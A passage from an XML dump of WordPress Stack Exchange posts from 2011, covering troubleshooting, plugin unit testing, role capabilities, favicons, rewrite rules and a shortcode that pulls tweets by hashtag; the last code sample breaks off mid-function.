LastActivityDate="2011-02-15T19:27:06.837" />
  <row Id="9427" PostTypeId="2" ParentId="5123" CreationDate="2011-02-15T19:30:32.070" Score="5" ViewCount="" Body="&lt;p&gt;I have had the white screen of death several times.  If you have tried disabling your plugins and that doesn't work then move on to your theme.  Test with the Twenty Ten Theme.  If the problem goes away then your theme is at fault. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Problems to look for in your theme:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unescaped Characters can cause problems.&#xA;Change &lt;code&gt;@&lt;/code&gt; for &lt;code&gt;&amp;amp;#64;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blank Space at the end of functions.php will cause problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Failing that I find that downloading the latest version from WP.org and overwriting all files apart from wp-content folder works.&lt;/p&gt;&#xA;" OwnerUserId="3197" LastActivityDate="2011-02-15T19:30:32.070" CommentCount="2" />
  <row Id="9428" PostTypeId="2" ParentId="9402" CreationDate="2011-02-15T19:34:24.243" Score="4" ViewCount="" Body="&lt;p&gt;Just to break cycle of &quot;doesn't belong here&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WordPress basically has no specific requirements for web server itself (which doesn't even have to be Apache), aside from permalinks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The message you are getting seems to be performance-related and may or may not be connected to you using WordPress. For starters check if your traffic had recently increased and ask your hosting if they recommend specific Apache configuration for your hardware and traffic.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-15T19:34:24.243" />
  <row Id="9429" PostTypeId="1" AcceptedAnswerId="9448" CreationDate="2011-02-15T19:40:10.077" Score="3" ViewCount="178" Body="&lt;p&gt;I need to apply unit testing for one of my plugins. I recently re designed it into classes, so unit testing should be easier to apply now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are some effective strategies to unit test my plugin? I need a way to use WordPress' functions used in the plugin, but I shouldn't need a running WordPress site (just test data on the DB AFAIK), right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a hard time figuring out how to just unit test the plugin and not the plugin in the site's context. I could use Selenium for this, but right now I just want to focus on unit testing the plugin classes functionality, so that I don't break them with each update.&lt;/p&gt;&#xA;" OwnerUserId="298" LastActivityDate="2011-02-15T21:45:25.143" Title="Unit testing for plugin development" Tags="&lt;plugin-development&gt;&lt;testing&gt;" AnswerCount="2" />
  <row Id="9430" PostTypeId="2" ParentId="9375" CreationDate="2011-02-15T19:45:46.680" Score="2" ViewCount="" Body="&lt;ul&gt;&#xA;&lt;li&gt;WordPress.com is &lt;strong&gt;web service&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;li&gt;WordPress.org is &lt;strong&gt;software product&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Think bus vs car. You can ride both, but bus is owned by someone else and what you can do with it is limited.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-15T19:45:46.680" />
  <row Id="9431" PostTypeId="2" ParentId="9425" CreationDate="2011-02-15T20:09:58.360" Score="2" ViewCount="" Body="&lt;p&gt;Untested, but should be easily extendable(or something you can take ideas from).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function roles_have_cap( $roles = false, $cap ) {&#xA;    global $wp_roles;&#xA;&#xA;    if( !isset( $wp_roles ) || !isset( $cap ) )&#xA;        return false;&#xA;&#xA;    if( !$roles )&#xA;        $roles = array_keys( $wp_roles-&amp;gt;roles );&#xA;&#xA;    if( !is_array( $roles ) )&#xA;        $roles = array( $roles );&#xA;&#xA;    $hascap = array();&#xA;    foreach( $roles as $role ) {&#xA;        if( !isset( $wp_roles-&amp;gt;roles[$role]['capabilities'][$cap] ) || ( 1 != $wp_roles-&amp;gt;roles[$role]['capabilities'][$cap] ) )&#xA;            continue;&#xA;&#xA;        $hascap[] = $role;&#xA;    }&#xA;&#xA;    if( empty( $hascap ) )&#xA;        return false;&#xA;&#xA;    return $hascap;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;First argument takes either a singular role name(string) or an array of roles to check have a particular cap.  &lt;/li&gt;&#xA;&lt;li&gt;Second argument takes a singular capability to check for(string).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example usage:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$role_can_edit_pages = roles_have_cap( 'administrator', 'edit_pages' ); &#xA;// Result&#xA;// array( 0 =&amp;gt; administrator )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If the function returned false you'd know the role(s) does not have the cap, ie..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( !$role_can_edit_pages )&#xA;// Role cannot not edit pages&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Else, the result is an array of roles that do have the cap(whether you passed in a single role or several).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could trim it down and just have a return value if that's preferred, but you mentioned wanting a list of roles that have a cap, so i naturally assumed an array would be a logical choice..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Converting an array to a string is fairly easy, and you can even use your own seperator, simply call &lt;code&gt;implode()&lt;/code&gt;, like so...(using the example variable from earlier)..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo implode( ' | ', $role_can_edit_pages ); // | (pipe is the example seperator here)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could also move the implode into the function to avoid having to do implodes when calling the function, and do note, implode will work correctly on a single item array to(ie. you'll get a string with no seperator).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope that's helpful in anycase... :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&#xA;Function will now look at all the roles if the first arg($roles) is set to false.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-02-15T21:25:51.073" LastActivityDate="2011-02-15T21:25:51.073" CommentCount="2" />
  <row Id="9432" PostTypeId="2" ParentId="9402" CreationDate="2011-02-15T20:11:39.597" Score="2" ViewCount="" Body="&lt;p&gt;Depending on your server configuration, you can change the setting for MaxClients in /usr/local/apache/conf/httpd.conf. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;[edit: Since I've only been given a line or two about it myself from my server admin, here is a better explanation as to what MaxClient &lt;em&gt;is&lt;/em&gt;...&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ServerLimit controls the maximum&#xA;  configured value for MaxClients.&#xA;  Reducing MaxClients on a webserver&#xA;  that is serving dynamic content (e.g.&#xA;  WordPress) can make a big difference.&#xA;  If you experience a traffic spike on&#xA;  your VPS and your MaxClients is set&#xA;  too high your server will more than&#xA;  likely get stuck in an endless loop of&#xA;  swapping pages from physical memory to&#xA;  virtual memory, commonly referred to&#xA;  as thrashing. The accepted way of&#xA;  calculating an appropriate MaxClients&#xA;  value is dividing your total available&#xA;  system memory by the size per Apache&#xA;  process. For example, if you had a&#xA;  500MB left for Apache to use and each&#xA;  Apache process was using around 10MB&#xA;  you would set your MaxClients to&#xA;  (512-12) / 10 = 50. To check real time&#xA;  memory usage on your VPS use top.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;-from &lt;a href=&quot;http://thethemefoundry.com/blog/optimize-apache-wordpress/&quot; rel=&quot;nofollow&quot;&gt;The Theme Foundry&lt;/a&gt;]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As others have suggested, consult a server administrator before changing settings if you don't know what you're doing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for your more general question, I would steer you to a similar question I asked some weeks ago: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/4664/what-are-best-practices-for-configuring-a-server-for-wordpress-sites&quot;&gt;What are best practices for configuring a server for Wordpress sites?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1697" LastEditorUserId="1697" LastEditorDisplayName="" LastEditDate="2011-02-16T20:03:03.197" LastActivityDate="2011-02-16T20:03:03.197" CommentCount="1" />
  <row Id="9433" PostTypeId="2" ParentId="9375" CreationDate="2011-02-15T20:14:45.970" Score="3" ViewCount="" Body="&lt;p&gt;The best answer is the one directly from the horse's mouth:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.support.wordpress.com/com-vs-org/&quot; rel=&quot;nofollow&quot;&gt;http://en.support.wordpress.com/com-vs-org/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-02-15T20:14:45.970" />
  <row Id="9434" PostTypeId="2" ParentId="9395" CreationDate="2011-02-15T20:17:00.513" Score="1" ViewCount="" Body="&lt;p&gt;Hehe, got it meself, just a little too late, unfortunately, now i have to change half the stuff again...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;set_transient(), get_transient() and delete_transient() will be my friends&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: More on this...i now realized that my wp_options table is full of _transient_xyz records, coming from WP itself. So that indicates that WP is using the db to store these transients, which isn't ideal. Haven't done the research, yet, but i hope WP cleans this up in regular intervals.&lt;/p&gt;&#xA;" OwnerUserId="3104" LastEditorUserId="3104" LastEditorDisplayName="" LastEditDate="2011-02-20T11:02:06.423" LastActivityDate="2011-02-20T11:02:06.423" CommentCount="1" />
  <row Id="9435" PostTypeId="2" ParentId="9429" CreationDate="2011-02-15T20:18:15.360" Score="1" ViewCount="" Body="&lt;p&gt;I've not actually done it myself, but there is a testing environment for WordPress unit testing. It's meant for core testing, but it could be adapted to test plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More info here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Automated_Testing&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Automated_Testing&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://svn.automattic.com/wordpress-tests/&quot; rel=&quot;nofollow&quot;&gt;http://svn.automattic.com/wordpress-tests/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-02-15T20:18:15.360" />
  <row Id="9436" PostTypeId="1" AcceptedAnswerId="9441" CreationDate="2011-02-15T20:34:19.653" Score="0" ViewCount="99" Body="&lt;p&gt;I just changed my header from a background to an image, as that seemed to be the easiest way to link the entire header to my main page (after a whole lot of trial and error with other methods). The one problem is that the image is now overlapping my sidebar instead of the other way around. It's also overlapping some of my menu bar, but it's a part that I can live with or possibly fix myself. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's &lt;a href=&quot;http://inkandpixelclub.com/&quot; rel=&quot;nofollow&quot;&gt;my site&lt;/a&gt; with the header going over the sidebar. How do I get it back under the sidebar like it was before? And now that I think of it, is the whoe header being linked going to cause problems with the various links and buttons in the area where the sidebar overlaps it?&lt;/p&gt;&#xA;" OwnerUserId="2436" LastActivityDate="2011-02-15T21:00:23.263" Title="Header image is overlapping sidebar?" Tags="&lt;sidebar&gt;&lt;headers&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="9437" PostTypeId="1" AcceptedAnswerId="9442" CreationDate="2011-02-15T20:34:52.473" Score="1" ViewCount="77" Body="&lt;p&gt;I've been using a custom &lt;a href=&quot;http://yourls.org/&quot; rel=&quot;nofollow&quot;&gt;YOURLS&lt;/a&gt; system to create my own URL shortener for my blog network for a while now.  Everything works just great with only a few exceptions (bugs already reported to the developer).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I'm aiming for something a bit more complicated that's not included in the existing WordPress YOURLS plug-in.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Currently&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Right now, when a post is published, WordPress automatically logs in to YOURLS, creates a short URL, and pushes a notification to Twitter.  It works well and keeps track of everything for me (the short URL is memorized by WordPress and inserted into appropriate &lt;code&gt;&amp;lt;meta&amp;gt;&lt;/code&gt; tags as well).&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;What I want to do&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I schedule my blog posts for 8am Pacific Time.  This works well &lt;em&gt;if&lt;/em&gt; you're on Twitter at 8am.  But some people are browsing at lunch.  Some in the evening.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to schedule automated re-tweets of my short URL from within WordPress.  Some posts I want pushed out once ... others I want pushed out at 2 or 3 strategic times during the day.  How would I go about doing this?&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-02-15T21:01:14.233" Title="Advanced Integration - WordPress + YOURLS" Tags="&lt;plugins&gt;&lt;api&gt;&lt;integration&gt;&lt;yourls&gt;" AnswerCount="1" />
  <row Id="9439" PostTypeId="2" ParentId="7766" CreationDate="2011-02-15T20:42:16.990" Score="1" ViewCount="" Body="&lt;p&gt;I believe the domain mapping plugin can do this, but don't quote me on that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Domain mapping isn't necessarily limited to mapping to other domains. It can map to subdirectories too.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-02-15T20:42:16.990" />
  <row Id="9440" PostTypeId="2" ParentId="9347" CreationDate="2011-02-15T20:46:16.083" Score="0" ViewCount="" Body="&lt;p&gt;To make the list of answers complete, in the above answers were mentioned (see also &lt;a href=&quot;http://en.wikipedia.org/wiki/Favicon&quot; rel=&quot;nofollow&quot;&gt;http://en.wikipedia.org/wiki/Favicon&lt;/a&gt;) and your choice:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;adding a &lt;strong&gt;/favicon.ico&lt;/strong&gt; in the root (http://en.wikipedia.org/wiki/Favicon), you can only add icons here, so e.g. /favicon.png is not valid there are some considerations on the ico type, very older IE browsers ONLY support the MS ICO format&lt;/li&gt;&#xA;&lt;li&gt;tag with &lt;strong&gt;rel=shortcut icon&lt;/strong&gt; : cross browser support with notes, many sites prefer this, you can add other file types here but mainly i see png, gif, ico, jpg and jpeg. You can add also animated gifs when using the GIF format.&lt;/li&gt;&#xA;&lt;li&gt;tag with &lt;strong&gt;rel=icon&lt;/strong&gt; : where you specify the mime type&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;embed it directly in the page using e.g. base64 encoding:  e.g &lt;strong&gt;href=&quot;data:image/x-icon;base64,iVBORw0==&quot;&lt;/strong&gt; , this is also NOT supported by all browsers but there are quite some sites using it.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Take notion of the mime type specified e.g. for icons the official standard is still mentioned as &quot;image/vnd.microsoft.icon&quot; but  “image/x-icon” is needed here even for IE 6 versions.&lt;/li&gt;&#xA;&lt;li&gt;Also I notice that the mimetype specified is not always corresponding with the actual filetype sometimes ICO is specified but an actual PNG is present. So note the correct mime type.&lt;/li&gt;&#xA;&lt;li&gt;If you want to end up in Google's favicon provider you should add the ico in the root.&lt;/li&gt;&#xA;&lt;li&gt;Other Icon Support: Apart from favicon.ico there are A LOT of additional tags for icons such as the Apple icon mentioned above but also link rel=&quot;avatar&quot;, link rel=&quot;pavatar&quot; etc... &lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;From the other side, if I look for a favion I:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;first look in Google: &lt;a href=&quot;http://plugins.svn.wordpress.org/wp-favicons/trunk/filters/search/filter_google_s2.php&quot; rel=&quot;nofollow&quot;&gt;http://plugins.svn.wordpress.org/wp-favicons/trunk/filters/search/filter_google_s2.php&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;then i look in other providers such as geticon: &lt;a href=&quot;http://plugins.svn.wordpress.org/wp-favicons/trunk/filters/search/filter_geticon.org.php&quot; rel=&quot;nofollow&quot;&gt;http://plugins.svn.wordpress.org/wp-favicons/trunk/filters/search/filter_geticon.org.php&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;then i scan the page for first rel icon an then rel shortcut icon: &lt;a href=&quot;http://plugins.svn.wordpress.org/wp-favicons/trunk/filters/search/filter_extract_from_page.php&quot; rel=&quot;nofollow&quot;&gt;http://plugins.svn.wordpress.org/wp-favicons/trunk/filters/search/filter_extract_from_page.php&lt;/a&gt; and if embedded I get the embedded one&lt;/li&gt;&#xA;&lt;li&gt;and only then i try to fetch the icon from the root: &lt;a href=&quot;http://plugins.svn.wordpress.org/wp-favicons/trunk/filters/search/filter_extract_from_root.php&quot; rel=&quot;nofollow&quot;&gt;http://plugins.svn.wordpress.org/wp-favicons/trunk/filters/search/filter_extract_from_root.php&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;p.s. you can ofcourse apply all these methods for your site to give the widest support possible ;)&lt;/p&gt;&#xA;" OwnerUserId="576" LastEditorUserId="576" LastEditorDisplayName="" LastEditDate="2011-02-15T20:55:59.897" LastActivityDate="2011-02-15T20:55:59.897" CommentCount="4" />
  <row Id="9441" PostTypeId="2" ParentId="9436" CreationDate="2011-02-15T21:00:23.263" Score="0" ViewCount="" Body="&lt;p&gt;I'm not much of a CSS guru myself, but I think the z-index property might be helpful here. Check this link on Smashing Magazine: &lt;a href=&quot;http://www.smashingmagazine.com/2009/09/15/the-z-index-css-property-a-comprehensive-look/&quot; rel=&quot;nofollow&quot;&gt;The Z-Index CSS property: A comprehensive look&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="298" LastActivityDate="2011-02-15T21:00:23.263" CommentCount="4" />
  <row Id="9442" PostTypeId="2" ParentId="9437" CreationDate="2011-02-15T21:01:14.233" Score="2" ViewCount="" Body="&lt;p&gt;I would probably go about this way:&#xA;The plugin has a function called: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;wp_ozh_yourls_send_tweet($tweet);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;as you can see it accepts the tweet message and posts it to twitter,&#xA;also it has another function called: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;wp_ozh_yourls_geturl( $post_id );&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;which accepts a post id and returns a shorturl as string.&#xA;so after knowing that I would use these two in conjunction with wordpress's &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;wp_schedule_single_event&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and create my own function to use the plugins functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now after that is said knowing how OZH codes his plugins i bet you can find hooks somewhere in there that will make you life a lot easier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-15T21:01:14.233" />
  <row Id="9443" PostTypeId="2" ParentId="6901" CreationDate="2011-02-15T21:08:11.560" Score="1" ViewCount="" Body="&lt;p&gt;I believe part of what you're looking for is the WP_Embed class defined in wp-includes/media.php. It implements a framework for automatically replacing urls with the output of embed handlers. I'm afraid you'll have to do the deeper research yourself (this was apparently introduces in 2.9.0, so documentation might still be thin).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I doubt Wordpress core comes with a player solution or will ever do so. It would seem it installs a single default embed handler for googlevideo urls. For anything else you'll have to write and register your own embed handler and if you want to host the files and player yourself, you'll either need a 3rd party player (plugin) or rely on HTML5 video/audio tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ahh...and the WP_Embed class seems to get added as a callback to the 'the_content' filters by default, so you shouldn't need to do so manually. At least that's what it looks like here. ;-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IF on the other hand you are not trying to replace URLs pointing to your media files, but rather complete tag enclosures like &lt;code&gt;&amp;lt;video&amp;gt;&amp;lt;/video&amp;gt;&lt;/code&gt; or &lt;code&gt;&amp;lt;embed&amp;gt;&amp;lt;/embed&amp;gt;&lt;/code&gt; and so on, then you'll have to rely on regex or write your PHP XML manipulation functions, as i'm pretty sure Wordpress doesn't natively come with functions to do something like that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could, however, combine that with above, making your job a bit easier, by regex-erasing everything within those tags and the tags themselves and only leaving the url. If you regsiter the filter callback that does that with a higher priority than 10 on the 'the_content' filter hook, the WP_Embed filter callback will then react on these URLs and you can do the rest using the WP_Embed framework.&lt;/p&gt;&#xA;" OwnerUserId="3104" LastEditorUserId="3104" LastEditorDisplayName="" LastEditDate="2011-02-15T21:21:27.923" LastActivityDate="2011-02-15T21:21:27.923" CommentCount="1" />
  <row Id="9444" PostTypeId="1" AcceptedAnswerId="9522" CreationDate="2011-02-15T21:10:09.890" Score="0" ViewCount="97" Body="&lt;p&gt;I've got a php script that is called when the user is editing the category. However, although the page renders fine for the most part, at the point where the image upload button should appear, I'm seeing this message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Rendering of admin template&#xA;  /home/site/public_html/wp-content/themes/mytheme/folder/subfolfer/admin/file.php&#xA;  failed&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What are the likely causes for this error in this one site? Other sites are processing this fine?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;THe site has PHP version 5.2.16&#xA;THe site has WP version 3.0.5&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-02-16T15:51:58.300" Title="&quot;Rendering of admin template [path to template] failed&quot;" Tags="&lt;plugin-development&gt;&lt;php&gt;&lt;errors&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="9445" PostTypeId="2" ParentId="9380" CreationDate="2011-02-15T21:26:38.403" Score="0" ViewCount="" Body="&lt;p&gt;Sorry guys, this is becoming a habit, but I found a solution, as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;set rewrite to false in taxonomy registration:&#xA;   register_taxonomy('property_type',array('sbproperty'), array(&#xA;    'hierarchical' =&gt; true,&#xA;    'labels' =&gt; $labels,&#xA;    'show_ui' =&gt; true,&#xA;    'query_var' =&gt; true,&#xA;    'rewrite' =&gt; false&#xA;  ));&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And create my own rule&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('rewrite_rules_array','wp_insertMyRewriteRules');&#xA;add_filter('init','flushRules');&#xA;&#xA;&#xA;function flushRules(){&#xA;global $wp_rewrite;&#xA;$wp_rewrite-&amp;gt;flush_rules();&#xA;}&#xA;&#xA;&#xA;function wp_insertMyRewriteRules($rules)&#xA;{&#xA;$newrules = array();&#xA;$newrules[&quot;([a-z]+)-in-turkey-for-sale/?$&quot;] 'index.php?property_type=$matches[1]-in-turkey-for-sale';&#xA;return $newrules + $rules;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2911" LastActivityDate="2011-02-15T21:26:38.403" CommentCount="2" />
  <row Id="9446" PostTypeId="2" ParentId="9358" CreationDate="2011-02-15T21:29:01.347" Score="0" ViewCount="" Body="&lt;p&gt;it was the &quot;topic&quot; name field. It seems you can't use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_taxonomy#Reserved_Terms&quot; rel=&quot;nofollow&quot;&gt;reserved terms&lt;/a&gt; in $_POST, and &quot;topic&quot; is a post type name, so its probably one of them...&lt;/p&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-02-15T21:29:01.347" CommunityOwnedDate="2011-02-15T21:29:01.347" />
  <row Id="9447" PostTypeId="1" AcceptedAnswerId="9449" CreationDate="2011-02-15T21:43:53.620" Score="3" ViewCount="626" Body="&lt;p&gt;I'm looking for a way to import tweets into Wordpress as posts.&#xA;In fact, I want to display tweets about a certain topic on a page in Wordpress.&#xA;So page A would contain tweets about hashtag x, and page B would contain tweets hashtag y.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is at least one plugin that imports tweets (Tweet-Import), but it can only import tweets by a certain user, not by hashtag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way that this can be done?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers!&lt;/p&gt;&#xA;" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-05-28T12:21:05.760" LastActivityDate="2011-05-28T12:21:05.760" Title="Importing Tweets with certain hashtags into Wordpress" Tags="&lt;plugins&gt;&lt;twitter&gt;&lt;wpse-plugin&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="4" />
  <row Id="9448" PostTypeId="2" ParentId="9429" CreationDate="2011-02-15T21:45:25.143" Score="2" ViewCount="" Body="&lt;p&gt;As an ex-software engineer building large business types who landed in an interactive agency let me give you a few thoughts on testing when developing for Wordpress:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Your Unit Testing should test the smallest amount of behavior that a class can perform. Each class should be able to be tested independently of Wordpress. If you have a Wordpress dependency consider creating mock objects and/or methods in your test to work around this. Ultimately, this will change how you write your code a bit -- but it will be far more testable. As usual no free lunch.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When you get up to the level of functional testing this is where you can test you code with Wordpress dependencies. This is where you would actually test that your plugin actually performs a service it is supposed to.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Depending on what your plugin does -- consider using Selenium-based tests which test for the presence of data in the DOM by using IDs. Its reasonably robust and it is a lot less likely to break version to version. Again, the trick here is to think of testing as part of your software development lifecycle. Large changes in the code will cascade down to large changes in your tests. All part of the cost of doing business.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you need any assistance with any of the tools to accomplish this -- I would be happy to answer if you open up a new question. I make use of both PHPUnit and its selenium extension in the work I do.&lt;/p&gt;&#xA;" OwnerUserId="984" LastActivityDate="2011-02-15T21:45:25.143" CommentCount="1" />
  <row Id="9449" PostTypeId="2" ParentId="9447" CreationDate="2011-02-15T22:30:30.317" Score="10" ViewCount="" Body="&lt;p&gt;I wrote a shortcode function based on &quot;Twitter Hash Tag Widget&quot; plugin&lt;/p&gt;&#xA;&#xA;&lt;p&gt;just copy this function to your themes functions.php file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function tweets_by_hashtag_9867($atts, $content = null){&#xA;            extract(shortcode_atts(array(&#xA;                &quot;hashtag&quot; =&amp;gt; 'default_tag',&#xA;                &quot;number&quot; =&amp;gt; 5,&#xA;                ), $atts));&#xA;        $api_url = 'http://search.twitter.com/search.json';&#xA;        $raw_response = wp_remote_get(&quot;$api_url?q=%23$hashtag&amp;amp;rpp=$number&quot;);&#xA;&#xA;        if ( is_wp_error($raw_response) ) {&#xA;            $output = &quot;&amp;lt;p&amp;gt;Failed to update from Twitter!&amp;lt;/p&amp;gt;\n&quot;;&#xA;            $output .= &quot;&amp;lt;!--{$raw_response-&amp;gt;errors['http_request_failed'][0]}--&amp;gt;\n&quot;;&#xA;            $output .= get_option('twitter_hash_tag_cache');&#xA;        } else {&#xA;            if ( function_exists('json_decode') ) {&#xA;                $response = get_object_vars(json_decode($raw_response['body']));&#xA;                for ( $i=0; $i &amp;lt; count($response['results']); $i++ ) {&#xA;                    $response['results'][$i] = get_object_vars($response['results'][$i]);&#xA;                }&#xA;            } else {&#xA;                include(ABSPATH . WPINC . '/js/tinymce/plugins/spellchecker/classes/utils/JSON.php');&#xA;                $json = new Moxiecode_JSON();&#xA;                $response = @$json-&amp;gt;decode($raw_response['body']);&#xA;            }&#xA;&#xA;            $output = &quot;&amp;lt;div class='twitter-hash-tag'&amp;gt;\n&quot;;&#xA;            foreach ( $response['results'] as $result ) {&#xA;                $text = $result['text'];&#xA;                $user = $result['from_user'];&#xA;                $image = $result['profile_image_url'];&#xA;                $user_url = &quot;http://twitter.com/$user&quot;;&#xA;                $source_url = &quot;$user_url/status/{$result['id']}&quot;;&#xA;&#xA;                $text = preg_replace('|(https?://[^\ ]+)|', '&amp;lt;a href=&quot;$1&quot;&amp;gt;$1&amp;lt;/a&amp;gt;', $text);&#xA;                $text = preg_replace('|@(\w+)|', '&amp;lt;a href=&quot;http://twitter.com/$1&quot;&amp;gt;@$1&amp;lt;/a&amp;gt;', $text);&#xA;                $text = preg_replace('|#(\w+)|', '&amp;lt;a href=&quot;http://search.twitter.com/search?q=%23$1&quot;&amp;gt;#$1&amp;lt;/a&amp;gt;', $text);&#xA;&#xA;                $output .= &quot;&amp;lt;div&amp;gt;&quot;;&#xA;&#xA;                if ( $images )&#xA;                    $output .= &quot;&amp;lt;a href='$user_url'&amp;gt;&amp;lt;img src='$image' alt='$user' /&amp;gt;&amp;lt;/a&amp;gt;&quot;;&#xA;                $output .= &quot;&amp;lt;a href='$user_url'&amp;gt;$user&amp;lt;/a&amp;gt;: $text &amp;lt;a href='$source_url'&amp;gt;&amp;amp;raquo;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;\n&quot;;&#xA;            }&#xA;            $output .= &quot;&amp;lt;div class='view-all'&amp;gt;&amp;lt;a href='http://search.twitter.com/search?q=%23$hashtag'&amp;gt;&quot; . __('View All') . &quot;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;\n&quot;;&#xA;            $output .= 